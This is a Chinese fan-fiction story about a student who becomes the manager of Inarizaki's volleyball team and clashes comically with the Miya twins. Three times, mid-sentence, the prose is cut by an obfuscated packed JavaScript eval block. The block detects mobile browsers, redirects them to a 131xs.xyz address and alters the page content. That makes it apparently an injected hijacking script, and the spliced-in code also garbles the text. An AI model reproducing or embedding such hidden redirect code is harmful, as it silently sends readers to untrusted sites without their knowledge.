《[排乙]没问题啊我做稻荷崎的经理》 1. 没问题啊我做稻荷崎的经理 我在高二的那一年从青城转学到了稻荷崎,新的学校、新的环境、新的……地区口音,总体来说我适应的还算不错。 ——直到即将毕业的信子学姐找到了我,并且言辞非常恳切地邀请我加入排球社,接替她成为新一代掌管稻荷崎雷电的经理。准备之充分,她甚至替我提前写好了入部申请,时隔三年她居然还记得要如何模仿我的笔迹,恐怖如斯! 但我对她的这个请求非常不理解,疑惑地指了指自己:“我?为什么是我?”神态表情都有在刻意模仿并不遥远的东方古国的知名作品中诞生的知名meme图,以期能够向学姐表达我的意外。 秋叶信子,是我曾经就读北川第一时排球队的队长。在我还没学会怎么收敛作为天才的过分傲慢,被人戏称是北川第一第一刺头的时候,是学姐治愈了我的心灵,用她仿佛圣母玛利亚的光环度化了我,使我修正了坏脾气,打上了补丁,最终成为一位与人为善的三好少年。 因此,虽然后来学姐跟着家里回了兵库县,我们也一直都有联系。学姐也知道我为什么会离开青城、为什么来到这里之后选择归家部。 信子学姐冲我温柔地笑,她笑起来还是很好看,像妈妈:“因为小满很厉害。” “不要用那个笨蛋的称呼,想到那个笨蛋我又要吐了。”我吐了吐舌头,意识到这句话可能有点内涵学姐,连忙解释,“但是没有在说学姐,学姐叫我什么都好的,只是……我真的不想打排球了。” 虽然学姐亲自来找我,我是有点心软啦,但是,我趴在桌子上,下半张脸埋在胳膊里,想和学姐撒撒娇,让她放弃这个念头。 “是不能打,还是不想打呢?” 学姐的提问让我犹豫了一秒钟。然后没有等我回答,她又说:“你看。” 我在学姐黑色的瞳孔里看到了呆愣住的我自己,小小的。 “小满,你只是不打了,只是不想,又不是不爱,不会。”学姐摸了摸我的头发,“入社申请书我会帮你直接提交给监督,你只要安心等通知就好。 “小满,就算真的没办法成为选手,我也希望你能幸福。” 我该庆幸自己有先见之明,提前用胳膊把下半张脸挡住了,不然让学姐看到我撇嘴努力憋着不哭的样子,好丢人! 学姐最近已经在忙着出国留学的事情,过几天还要去其他地方进行竞赛,因此只能挤出放学后的一段时间和我做紧急交接,我接过她手中沉甸甸的笔记本,手腕一软差点没接住,这就是曾经的北川第一数据师大人吗?好可怕。 我一边低头翻阅学姐记录的数据,一边听她和我介绍目前排球队的几位首发,读作首发实质重点观察对象,恍惚间好像回到之前我们还一起打排球的时候。 当年的每次赛前,学姐都会这样带着我们看录像,对对手进行细致分析,有时候我翻来覆去,只能凭借直觉模模糊糊感知到的不对劲,学姐一眼就能发现,并且还能够组织出可以让我们都听懂的话说出来。 而我……我只会“咻”、“啪”、“邦邦”,这种抽象的拟声词。好惭愧。 我突然有个疑问:“学姐为什么不继续打排球了呢?” “因为我其实没什么天分呢,小满。”信子学姐和那个笨蛋不一样,她说起自己的普通,说起我的天赋,轻松又平静,好像一个大人。 明明她和我的位置也是重叠的,但她好像完全接受了这件事,接受自己的平庸、他人眼中的可谓失败,说起因此她来到稻荷崎,做了男排的经理。 可是学姐没有成为选手,也一样很了不起,这么细致详实的数据,是我的话,完全没有耐心。 好厉害啊学姐,我忍不住感慨。 “别看我现在这样,当时和父母回稻荷崎,其实非常伤心。因为小满实在太厉害了嘛,不想再和小满做队友,感觉上了高中更加竞争不过你了;但是也不想和小满做对手,那样更可怕。因为有这方面因素的考虑,所以才来稻荷崎念书的哦。” 更了不起了。 明明在说自己的逃避,但我觉得,此时此刻的学姐身上完全在发光。又有点想哭了qwq “好了,不聊这些了,我们继续说回正题,嗯……就剩下这对双胞胎了……”很少见的,我在学姐脸上居然看到了堪称“为难”、“无所适从”的表情,她摸了摸自己的下巴,思考了一会,“如果他们实在不听话,尤其是侑,如果不听话,你就打到他听话就好了。” ——诶???难搞到这种程度吗? “他的力气应该没有你大,嗯。” 学姐说完,对我做出一个加油的姿势:“小满,加油哦。” 就这样吗?真的可以这样吗?别人不会有意见吗?我印象中的各种运动社团,哪怕是隔壁当年分崩离析版的奇迹的时代,队友被欺负也是会同仇敌忾地说着什么友情啊羁绊啊的就冲上去护短了。 我打宫侑,真的假的O.o我很担心最后会变成我被群殴的场面诶。 “放心啦,”学姐又漂亮地笑起来了,“如果你有理有据地暴揍不听话的阿侑,队伍其他人应该都乐见其成哦,阿治应该会给你鼓劲加油甚至帮忙的,哦,这样阿治的问题可以直接解决了呢。” 她说着,眼睛都弯成月牙一样,很开心地拍了拍手掌,话题又偏移到平时宫家双胞胎是如何看对方不顺眼的小故事,以及手机里存了一堆照片的战地记者角名伦太郎,算是中途天降的竹马尾白阿兰。 信子学姐就这样在我面前聊起那些到八十岁都足可以追忆的过去,简直像是海滩上捡到宝石的旅人,眼底都是宝石反射出来的碎光。 “如果实在收不住场,可以去找队长,北信介,不管出现多么难搞的情况,请交给信介吧,有他在,就绝对不会失控的。” “学姐看上去,好幸福。”我看着她的神情,明明不是很了解这些人,明明学姐来找我的时候我还不是很愿意,但是,学姐看起来好幸福,感染得我也变得有点幸福了。让我都……有点期待了。 “好可怕。”我说。 “什么?” “这听上去简直是要我当他们的妈妈。” 信子学姐因为我说的话止不住地笑,她笑起来真好看,信子学姐应该是我妈妈,退一万步来说,信子学姐就不能真的是我妈妈吗? “小满,我很喜欢稻荷崎。真希望你也是。” 那天的最后,学姐摸了摸我的头,这样对我说。 稻荷崎看上去真的很缺经理,学姐前一天刚提交了我的入社申请,第二天课间就有社员来转达通知我从今天起就可以走马上任了,并且贴心地给了我一份从教学楼到排球社的地图。 据说是学姐担心我刚转学来不久,会在校园里迷路,特别嘱咐的。 学姐……我抱着地图,再次努力憋着不让自己哭出来。 正式做稻荷崎排球社经理的第一天,我久违地开始写日记。 我已通过和信子学姐的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431040|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交流,事先做好最坏的预想——我承诺,理解、接受、宽容天才的小小怪癖,从学姐的记录来看,学姐做经理的时候他们一定相当合拍,所以突然更换经理,产生的不适、排外,都属于正常交接流程下的连锁反应。 所以满枝,加油,你要忍耐,这是学姐给你的委托,你要加油,你不要发脾气,尽量,尽量忍耐。 你答应了学姐,承诺是很重要的,所以无论如何,都得做好自己的本职工作。 你要做一个与人为善的三好少年。加油! 我在日记里边写边给自己疯狂洗脑,我在真正去参与部活和那群难搞的天才们接触之前,还是很希望双方都可以正常友善和谐地相处,互相都不要给自己添麻烦。 只要对方不给我找麻烦,我方承诺绝对不会首先使用*武器,嗯嗯。 天杀的我现在就要和这帮狐狸爆了! 在第三次念到宫侑的名字而他目不斜视从我面前飘过之后,我想我现在的脸色一定相当难看,我可以接受这群人不把我放在眼里,甚至接受对我态度恶劣,但是那都得基于不影响正常训练的前提下。 我注意到,今天那位背号是1号的队长没有来参与部活,应该也是这位黄毛狐狸肆无忌惮无视我,自顾自做练习的原因。 我深呼吸几个来回,把手中的笔记本合上,放到身后的长凳上。 虽然学姐说暴力手段是最直观且有效的,但我想,我接下来的这种方式,才是更有意思,更可以让我出气的。 我走到排球筐里,随便拿了个排球,在地上拍了两下,今天左手手腕运转很正常,不觉得酸痛也没有那种老式机械运转会产生的滞涩咯吱声。看起来我今天运气不错,或许上天都在指引我今天是该用排球的方式给不听话的神经病天才一个教训。 我走到被宫侑强行拉去脱训自己玩、虽然半推半就也是不听话、但总体来说还是配合我工作的阿兰面前,挤出一个自认为还算和善的微笑,让他把位置让开给我暂时用一下。 我看到他整个人都僵住,然后以迅雷不及掩耳的速度往后倒退三大步,甚至差点踩到身后正在休息的角名伦太郎。 但我没继续管他们的互动,隔着网和对面完全是一脸死猪不怕烫表情的宫侑对视,平心而论,他的脸确实很好看。 “侑君,您确实长了一张很好看的脸。”我拍了拍手中的排球,抬头,扬起声音打断他幼稚的挑衅,“但是您说的话,我实在不太喜欢。” 他:“哈——?” “所以,别叫了,”我把球向前高高抛起,手感很好,感觉会是个好球,这样的念头在我脑中一划而过,接下来的蹬地跳起,扬起右手,发力,拍下,干脆利落,完全是已经被刻在我DNA上的一套连招。 我回避了很久又被学姐点破的,在这个携风雷一般在宫侑身边炸响的压线球下,我终于承认。 学姐,我不是不想打排球。 然后我冲对面好像有点被我吓到的宫侑比出一个中指,说完刚刚没说完的:“废物。” 他没说话。场馆里好像也在这一瞬间被定格,完全安静了下来。 我用大拇指指了指旁边:“现在可以去训练了吗?侑君。如果您不想下一球打到您那张帅气的脸上的话。” 他沉默了几秒钟:“可以吗?” 我:啊? “那么精准的控球,可以做到吗?” ……我迟早要和你们这群神经病爆了! 2. 没问题啊我正义制裁狐狸队 我最终没有真的把球砸到宫侑脸上,一方面是我第一天做经理,还是想努力维持一下自己与人为善的形象;另一方面……我看到了他的表情,总感觉我扣上去会给他爽到。 好可怕,M型天才。 对比之下,他沉默寡言又沉稳可靠的双胞胎兄弟可太让我省心了,无论是让测试摸高还是发球都很听话地照做,如果我是游戏NPC而他是玩家,想必我好感度upup的通报声可以响彻整个排球馆。 治君……好善良。 虽然整个排球社唯一、尤其、非常之不配合我工作的只有宫侑,但因为他俩长得实在很像,对比之下就显得宫治尤其、特别、非常之配合我的工作。 更别提自从那天偃旗息鼓之后,每次部活都会有全方位自动跟随的关西腔背景音在我身边循环——就好像我被鬼缠上了一样。 “让我看看你的发球让我看看你的发球让我看看你的发球……”男鬼Atsumu持续发力,尤其是黏黏糊糊的关西腔,他也知道要避开队长的目光,每次声音都压得很低——像苍蝇。 以及,我觉得北学长其实把这一切都看在眼里,第二天部活结束的时候还给我买了甜点,希望我没有被烦到。虽然他没有明说,但我觉得我是聪明人,心照不宣。我懂的。 北学长是神,人间稻荷神,我如此确信。看在卡密sama和他赠送的甜点的份上,我愿意多忍让一下黄毛狐狸的吱吱叫,反正听多了和白噪音也没什么区别,说不定等他过几天兴趣就下去了。 我本以为冷处理可以让宫侑放弃这个念头,但看起来他可能真的是M。 我第一次遇到这种人,就算搬出了很有威信的队长也仅仅能让播放器暂停三分钟,打训练赛3v3记录数据的喘息时间也会被他孔雀开屏一样的“是不是我今天这个发球更好”的垃圾话攻击。 “其实你那天只是运气更好吧。”宫侑一边喝水一边哼哼质疑我的时候,我正在确认宫治是不是今天胳膊不太舒服,感觉他今天扣球的姿势有点别扭。 宫治转了转手腕,似乎很意外我发现了这件事,然后才交代早上和阿侑有一些冲突,扯了一下,本来以为没什么,需要手腕扣杀的时候才发现好像有点痛。 我转学来稻荷崎后不久,就对排球社特产双胞胎例行每日一大战略有一丝丝耳闻,只是这几天风平浪静,让我觉得传言也有夸大的成分。 而现在,我匪夷所思地捏了捏他的腕骨,到底是什么级别的冲突能够让我摁出骨头的咯噔声啊。 错位了吧这是。 我很震撼。 “骨头轻微错位了你还来参加部活,你是想……”我准备说你是不是想找死,但我忍住了,深呼吸了几口气,才勉强组织好比较没有攻击性的措辞,“你这是胡来啊治君,不可以仗着自己年轻就这样不在乎自己的身体哦,治君。” 如果是我青城的队友,在我微笑着说敬语的那一刻就会炸毛立正光速滑跪了,我做队长、不做队长,都是一样的坏脾气。 都说暴风雨来临前的海面,总是格外平静,所以当我开始阴阳怪气地内涵而不是直接刻薄攻击,通常都是收不住手准备要整个大的。 宫治不知道,反而还是满不在乎地对我说这种程度的轻微错位只要几天就能恢复完成,不用大惊小怪。 哈哈,用很酷的语气说着很混蛋的话呢,治君。 我僵硬地笑着,感觉头顶已经在冒火,视线和中场休息的北队对上视线,他点了点头,看上去知道我接下来要做什么,他默许了。 OK,那就没问题了。 我红温了,我要开始烧烤狐狸。 我这几天忍了又忍,努力变成一个善良的好人,但好像我的善意并没有被接收到,反而被当成了忍者,我被当成了比格。 在这个瞬间,我终于明白为什么小岩会对笨蛋及川彻重拳出击,有时候并不是我们脾气不好,完全是对面太欠。 和他拥有同一套DNA的同胞兄弟居然此时此刻跟着一起帮腔,觉得区区小扭伤完全无伤大雅,甚至还在嘲笑宫治没有躲过自己的暗算,好逊。宫治则反驳是宫侑太阴险了居然从角落里突然袭击,自己被吓到差点摔到楼下面。 好啊,好啊。 我收回此前对宫治的一切正面评价,他不愧是和宫侑除了头发眼睛之外哪哪都很像的同胞兄弟,好啊,太好了。 一条无需印证的定理:哪怕是比格也是会攻击人的。何况我不是比格,我是力5的主攻手呢^^ “来,我今天不把你手打断,我跟你姓。”我扯住短暂休息完之后还准备训练的宫治,又把完全状况外的宫侑一起拎着往场上拖,“你也来,我看看你能接我几球。” 角名伦太郎目送着你一手一只狐狸就这么生拉硬拽地把双子扔到了场上,如果他没看错,你最后那下真的是硬生生把这两位甩了出去……哪怕是看惯大风大浪、掌握了每次双子大战第一手实录live照的他,此时此刻,拍照的手,微微颤抖。 总感觉他们的二传很危险,而不在乎手腕健康的另一位,更是岌岌可危。 他眼神示意旁边的阿兰:你不去救吗? 阿兰划了下十字:Amen。然后没有一丝幼驯染之情地转身跑路,跟上了大耳练他们的脚步。 队长?他看向另一位。 “让阿侑和阿治认识到保证身体健康的重要性,不也是很好吗?”稻荷崎真正的稻荷神对他微微一笑。这比队长平时面无表情的样子还可怕,甚至比他拿到1号队服之后默不作声地流眼泪还要可怕。 角名伦太郎是会看气氛和眼色的聪明人,他选择给自己喷上失忆喷雾,当做什么都没发生的样子,什么?场上有人在惨叫?听错了吧,排球馆在闹鬼不是很正常吗? 唯一有点遗憾的就是训练就不能拍照了,角名的余光瞟了瞟场上1v2的情况,只能说精彩,实在是精彩。 “现在你们两个人呢,有一个会被我先杀掉,要不要猜猜是谁呢?”刚发完一球的你又从排球筐里掏出一个新的,在地板上拍了拍,慢条斯理地一边转着一边询问。 他们这位和和气气的经理大人,好像一脸温柔地说出了了不得的话来呢。 应该带录音笔的。角名这样想,或者架个摄像机,这种百年难遇的场景没有被录下来,实在是太可惜了。 虽然没有看过你正儿八经打球的样子,但是角名隐约有一种预感,宫侑和宫治今天会被你训得很惨。 “原来还能更快吗!好帅!” 我翻了个白眼,一时之间居然不太确定把Miya Atsumu这位名字里就带着M的选手抓来一起被制裁是不是一个正确的决定。 虽然说着要把宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431041|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 治的手打断,但到底我是一个遵纪守法的好少年,跳发球擦着他的边被拍在地板上,和地板接触时发出比上一次更大的轰鸣声。 我看到宫侑的眼睛在发光。 坏了,宫治也是。 坏了,我好像在奖励他们。 原来看起来稍微沉稳一点的治君也是排球笨蛋吗? 我沉默了一会,通过他们的反应反而反推得到了制裁他们的好办法:“很帅吧,有技巧的,知道了就很容易学会。” “真的吗!?”显性排球笨蛋一个箭步冲了上来,差点把拦网也一起扑倒。 “嗯,但是不会教你的。”我说完这句,对着另一位半显性排球笨蛋重复,“你也一样。” 啊,果不其然,两个雕像“叮”的一声瞬间出现在场上。 “除非……” 雕像又变成人了。 我微微一笑:“治君好好养伤,以及,侑君不要再骚扰我了。” “我那个算是骚扰吗?” 你那个有哪里不算是骚扰吗?我没说话,完全用我的微笑在吐槽。 “那要等到什么时候我才能学到!”宫侑的星星眼差点给我闪到。 很好,很有精神。 太爽了,终于掌握到拿捏狐狸的方法,我伸手指了指已经被我列入高危病患红名单的治君:“直到阿治手腕恢复完全为止。请阿侑好好监督他哦。” “可恶!笨蛋阿治!都怪你!!!” “喂到底是谁吓我害得我手腕受伤啊白痴阿侑!” “作为排球选手居然不能好好保护自己的手腕你才是白痴吧阿治!” “罪魁祸首有什么资格在这里骂我啊混蛋白痴阿侑!” “你自己没有站稳难道怪我吗!?我不管!你必须好好给我养伤!” “不用你说我也知道!” …… 哇哦……原来这就是稻荷崎排球社名产之双子大战……好吵,我头好痛。争吵之下极快的语速,在没有完全适应关西腔的我听来,约等于“叽里咕噜笨蛋叽里咕噜”、“叽里咕噜白痴叽里咕噜”。 是声波攻击,我遭受到了声波攻击! 趁他们嘴炮互殴正酣,我踢着排球捂着耳朵一路小炮企图找到一块相对安静的乌托邦,然而排球馆的回音效果,堪比加了穹顶歌剧院,叽里咕噜的关西腔铺得哪里都是。 我好想逃,但我逃不掉。 坏了,我好像搬起石头砸了自己的脚,哦不…… “习惯就好。” 稻荷神递给我一只隔音耳机,卡密sama……连这也在你的计算之中吗卡密sama,我感动得眼泪汪汪,在把耳机戴到头上之前,我听见他的声音:“是信子说过,你可能有点耳鸣。” 我戴耳机的动作一顿。 “但是他们,很不错吧。”他静静地看着我,并不像我见过的任何一个人,一直都很平静、很平静,没什么动容的表情,光是存在在那里就让人觉得安心。 北信介在这群或多或少有点神经病的天才中间,就像是,神明放入人间观察的替身神使。 “虽然有点幼稚,吵起来会让你耳鸣,甚至可能总让你觉得听不懂话,但是,我的队友们都很不错吧。” 我看着他的眼睛,点点头。 “信子很喜欢这里,希望你也是。” 3. 没问题啊我是训犬大师 “很不错了,我是认真的。 “没有哄你,我又不是你的粉丝后援团,我很专业的。”我哄着手感巨巨巨差已经自闭的宫治,一阵心累,感觉真的已经变成了幼稚园园长。 天呢,我才十七岁,就有一个同样十七岁的孩子了…… “哈哈哈哈——”身后传来宫侑猖狂的嘲笑声,更多的嘲讽因为语速太快被我听得支离破碎,中心思想不过是说他废物之类的,大差不离。 看起来我其实是有两个孩子,并且一个比一个不省心。 我长长地叹了口气,索性坐下来,坐到宫治面前,摁住他蠢蠢欲动想要暴揍同胞兄弟的手:“好的二传手可以让主攻打得很舒服。” 他看向我,我继续说道:“你要不要,试试我托的球?” “为什么是你给他托球,难道是我还不够好吗?”好不容易转移了宫治的注意力,宫侑不依不饶地拖着我不让我去热身,这次他倒是顾忌我的耳朵了,关西腔把音节拉得又长又黏人,好在能听清楚大概的意思。 我对他的不自觉感到震撼。 纵然我是那种队员发挥不好会恨不得把人绑在树上拿鞭子狂抽的暴君类型,但就算神明也有阿喀琉斯之踵,凡人就不能要求更多。 ——宫侑看起来才是在乐园里长大的孩子。天真到让我有点厌蠢症犯了。 不是哥们.jpg “你会迁就他吗?”我问。得到了宫侑理所当然的否定答案。 “以前笨蛋阿治也有这种情况,反正多打几次就习惯了。”他看上终于注意到我的吃惊,才又问了一句,“有什么问题吗?” 好野蛮的恢复方式。我无话可说,选择给他竖了个大拇指:“不,你太厉害了。” “是吧!” 我……听点人话吧我求求你了。 有时候真的很难和这种人交流。我决定了,再过几个月就是他们的生日,到时候我要送宫侑一本《说话的艺术》,让他知道这个世界上还有正话反说、褒词贬用这种用语形式的存在。 托球不是什么高强度的运动,简单把身体活动开,走到网前,久违的熟悉位置,我下意识打了个冷颤,有点想吐。 宫治在宫侑的对比下又显得沉稳了起来,宫侑问我为什么给宫治托球,其实倒不是我的托球技术比他好,我和宫治又不是什么一见钟情的soulmate,真要论默契度怎么也不可能比得过他这个同胞兄弟。 我给宫治托球的唯一原因,就是我会迁就一下他的坏毛病而宫侑不会,宫侑甚至会用自己的坏毛病和他对冲。而对冲的未来我可以预见——又一场双子世界大战n.0,而我最近耳鸣变严重了,so…… 竞争意识是好事,鲶鱼效应有助于队伍成长,稻荷崎看起来就是褒义上球风很野蛮的队伍,我并不打算改变这一点。 但退一万步来说,这也不是宫侑故意给宫治传了只有角名的腰才能扣下的球的理由。并且此人诡计得逞之后笑得太明显又太猖狂,我终于意识到双子星战争原来不止场下。 我在场外围观的时候,对这么明目张胆的耍脾气唯有叹为观止四个字才能形容。 这种情况下,我再不叫停把宫治拎走,很担心又打起来→不小心谁又受伤→重新威胁休息→受伤的人手感不好→死循环…… 很恐怖的无用功。我不想真的带小孩啊啊啊这种事情不要啊—— 好在宫双子在排球上的天分也可以让我用褒义上的叹为观止来形容,在喂球的过程中,我甚至不需要和宫治有过多交流,没人比身为攻手的我更了解攻手,光看落点我都知道他这球打得顺不顺手。 我认同那个笨蛋曾经说过的话,球感是可以磨砺的。而我要补上后半句:天才会通过自己的方式。 大概喂了四十,还是五十个球之后,我看着基本理想的落点,拍了拍手里的球,看向低头沉思的宫治:“差不多了,剩下的手感还是实战对抗的时候找比较好。” 我传得再好,毕竟不能代替稻荷崎的二传,那个笨蛋给我传球的时候也说过类似的话,就是用词太油腻,我不喜欢。 我看他没有动作,还在原地,以为他想到了什么重要的事,随口问了一句:“在想什么?” “在想你能不能假扮一下做我们的二传。” 我就多余问这句。 这俩应该把脑子打包一起去废物回收站。 全新未使用,光滑无沟壑,买过的都说好。 我:“你还是想办法去改造一下阿侑吧。” 宫治:“你说得对。” 我决定到时候送两本《说话的艺术》。 算了,孩子只要好好学习,当妈的计较什么呢。 我苦中作乐地这样想着,对比之下角名伦太郎他们是多么的乖巧可爱……打住!我怎么真的当妈妈了。 难道那个笨蛋的恐怖诅咒要以这种方式实现了吗?我又打了个冷战,得到乖巧可爱角名君的关心:“感冒了吗?” 我慈爱地看着他:“不,被霉到了而已。” 角名愣了一下,深有同感地点了点头:“辛苦了。” 我:? 我们说的应该不是一个意思? “阿治!快向满枝道歉!” “为什么是我道歉!” “满枝说被你霉到了!” “哈?还不是你今天明知道我状态不好还给我传那种球!” “废物就是废物不要给自己找理由!” …… 又开始了。 我疲惫地望向天花板,已经失去解释那个晦气人不是宫治的力气也失去了劝他俩不要吵架的手段,于是我选择加入角名君并给他指导了一个更好的拍摄角度。 角名伦太郎对我的好感度应该上升了↑ 但我的心情值光速下降了↓↓↓ 完全是得不偿失的勉强止损。我不敢想信子学姐居然在这里做了两年多的经理而依然能保持平和的情绪,原来信子学姐才是古希腊掌管好心态的神。 我试图思考有时候是不是暴力执法才更加快捷有效。 我尝试了,我成功了,我收获了两只抱着头蹲在地上瑟瑟发抖但终于安静下来的狐狸兄弟。 世界安静了。我爽了。 逃避可耻,暴力有用。嗯嗯^^ “下次提前和我说一声。”角名悄悄凑过来,我瞬间get他的意思:“你想抓拍?” 他避开阿侑和阿治互相埋怨又怨气冲天的眼神,谨慎地点了点头,我心领神会,比了个ok的姿势:“拍到了记得发给我。” 他:ok。 因为中途当妈妈打断了节奏,部活结束之后我想着把数据记完,于是又在排球馆多留了一会,结束锁门的时候才发现北前辈就等在外面。 “前辈?”我锁门的动作迟疑了一下,感觉他不像是有东西落下来的样子,“是有什么东西忘记拿了吗?” 他摇了摇头:“在等你。” 我:? “虽然是住校,但是担心你会忘记时间,太晚的话不安全。”北的脸上依然没什么表情,但或许是浅色的灯光,又或许是月光没那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16431042|184906||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮,他站在排球馆外,影影绰绰,被模糊得好像一棵亭亭的树。 呜呜,有没有人能懂一下稻荷崎唯一货真价实可靠前辈的含金量我想问。 “饿了吗?”把门锁好之后他从我手里接过钥匙,自然而然地走在前面,“我知道有一家味道还不算的便利店,他们家有手捏饭团,这个时候应该还开着门,要不要一起去?” 我用力地点点头。隐隐约约,好像看到他笑了一下。我很好笑吗?不明白。 “不,是我想起奶奶家里养的小鸡崽,啄米的时候和你刚刚很像。” 小鸡啄米?我? “很可爱。” 北前辈……你也一脸平静地说出了了不得的话来了呢。 坐到便利店里的瞬间我就累得趴下开始打哈欠,听见北问我是不是很累,因为那一点点不服输的倔强,我选择嘴硬摆手表示这些都是小意思。 这次我真的听到他在笑。 我真情实感地疑惑了:“我有这么可爱到让前辈想笑吗?”而且排球队的其他人,甚至信子学姐,也说过北前辈其实是很人机的类型,不仅是不常笑,完全是几乎没有表情变化、而且也完全找不到弱点的卡密sama在世。 北:“嗯,另一方面是觉得,满枝你和信子说的不太一样,很不一样。” 他居然真的觉得我很可爱。从来没人这么形容过我。至于后者,我笑嘻嘻:“人都是会变的嘛。” 在神明大人的注视下,我也毫不心虚。 “你好像不意外信子会对我怎么形容你。” “大概就是暴君、任性、脾气差之类的吧。”我掰着手指数了数,好像确实没什么好词,和我现在这么温和善良的形象有冲突,前辈觉得奇怪也是意料之中。 “不是。” ? “信子说,你是很敏感、很内敛、很柔软的天才选手。” 我?敏感?内敛?柔软?这是我?我被三连击吓得瞳孔地震,信子学姐你到底给我拉了多少层滤镜啊信子学姐,你不会真的是我妈妈吧……不对,我妈妈都不会这么评价我。 有点吓人了,学姐。 “不过天才倒是实至名归。满枝确实很厉害,帮了我们很多。”北的脸上分明也没有露出笑容,但是我偏头看着他,总感觉他说这句话的时候,也变得柔软起来——应该不是我给前辈加了滤镜的原因吧,抖抖抖。 “前辈也很厉害呀。”居然能制得住那群时不时发癫的狐狸们。 “不。”北摇了摇头,“我只是误入妖怪聚会的普通人而已……” 检索到关键词“我不是天才”直接拍案而起并输出“竞技体育不是只有靠天才的存在才能获得胜利的!” 北愣住了。 我也愣住了。 啊啊啊啊啊啊我在说什么啊啊啊啊,我光速滑跪:“对不起对不起卡密sama对不起……” 等一下,我刚刚是不是把卡密sama这个称呼说漏嘴了…… 我再次滑跪。 这一次我选择沉默,什么也不说,头也不敢抬。 天呐,人怎么能够丢这么大的脸。 在一片落针声都清晰可闻的寂静中,缩成一团的我听见身边清清楚楚的笑声,大着胆子,我抬起了头。 被我类比过无数次、不小心说漏了嘴实在丢脸、但尽管如此我还是这么觉得的,稻荷崎真正的精神支柱,稻荷崎的神明大人,正完全专注地看着我,笑得眼眉弯弯,和我对视的时候,伸手,摸了摸我的头。 我突然忍不住哭了出来。 4. 没问题啊我们准备去集训 “感觉你最近和队长关系变得很好。” 在我第三次主动给北递毛巾之后,果不其然收到了黄毛狐狸的注视,我正打算和他解释一下,就听到他又说了一句:“我们队不支持队内恋爱哦。” 您还真敢说啊侑君。 我和北都没把他突然的小孩子脾气当回事,不如说是习惯了他时不时发一下神经,只要不影响训练,不管的话,过一会时间就会因为自讨没趣而回归平稳值了。 但这次好像不一样,运动之后的狐狸浑身都是热气,我一点都没运动、干干净净,感觉都被贴上染上了水汽——这家伙,不会是存心捣乱的吧。本来今晚不打算洗澡,但是水汽晕上来,感觉变得黏黏的。 “干嘛那种眼神看着我,难道是你心虚了吗?”宫侑在我的注视下往后跳了一大步,谨慎地伸出食指,又想对我指指点点但是又在害怕。 我直接一把握住他的手指,果不其然听到他开始叽哩哇啦的大叫说我谋害他他的手指要断了——喂,我都没用力。 但是……我眼神偏了偏,和旁边的角名对上,手机“咔擦”两三声,他对我比了个ok的姿势,我才松开手,看他又往后跳了一步:“知道害怕还来挑衅,你记吃不记打吗?” “哪里有吃的。”宫治打了个哈欠走过来。 …… 我差一点就被噎住:“你没睡醒吗?” “昨晚打FIFA输了我十二场哦,嘻嘻嘻。”记吃不记打的某人又跳到我面前,得意洋洋地和我炫耀,“我厉害吧!” 我一拳砸下:“都说过了有部活的前一天晚上要好好休息啊!” “谁让阿治那么菜。”宫侑抱着头一边眼泪汪汪一边蹲在我脚下,好像一只美味蘑菇,看久了,感觉好饿。 我一手挡住准备冲上来补一脚的宫治:“他菜你还和他玩十二场……” “谁让阿治一直不承认我比他厉害,最后实在太困了才睡着了。” 听起来还意犹未尽的样子,我冲北摊了摊手,示意:你看。然后完美交接了战场,听着身后双子一起道歉说对不起并且保证不会再犯的声音,差点就要憋不住笑。 在稻荷崎做经理,每日小品看不停。 “感觉满枝和北好像爸爸妈妈。” 我扭头看向发出如此锐评的大评论家,冲他亮了亮手腕:“伦太郎,如果你也想被铁拳制裁的话,我不介意。” “对您的夸赞,满枝小姐。” “有时候会觉得你这种时候用敬语是在阴阳怪气我,伦太郎。” “您的错觉。” 更像阴阳怪气了。 前几天远在宫城的某位幼驯染还给我发信息,关心我来新学校之后适不适应。他担心我和家里大吵一架之后,一个人在稻荷崎念书,会不会有点精神状态的问题——且不提谁家好人关心幼驯染的方式是直接了当地把“精神状态”这个词打出来——再说我在这里被精神病包围,我精神状态能不好吗?我精神状态可太好了。 “已经说过他们了。”北结束了刚刚的谈话,走过来,“刚刚你想说什么?” 还好这里还是有值得信赖的正常人的——我这样想着,冲他亮了亮手机:“枭谷学园的对接人和我说,合宿训练的话这周就可以,要麻烦前辈和我一起和老师沟通了。”虽然说是和我,但我知道基本上请假要靠北这个队长。 可能是因为黑须监督首肯,北对此倒没什么异议,只是问我为什么突然想到要联系关东那边的学校进行合宿集训。 “兵库县内的队伍实力……”我没说完,“约大学生队伍的训练赛,有时候输了也是被纯粹的身体素质碾压,对战术分析方面参考不大。枭谷学院联盟可以同时满足同等级-多种风格,这两点,而且最主要是…… “可以去东京玩耶!” “诶?” 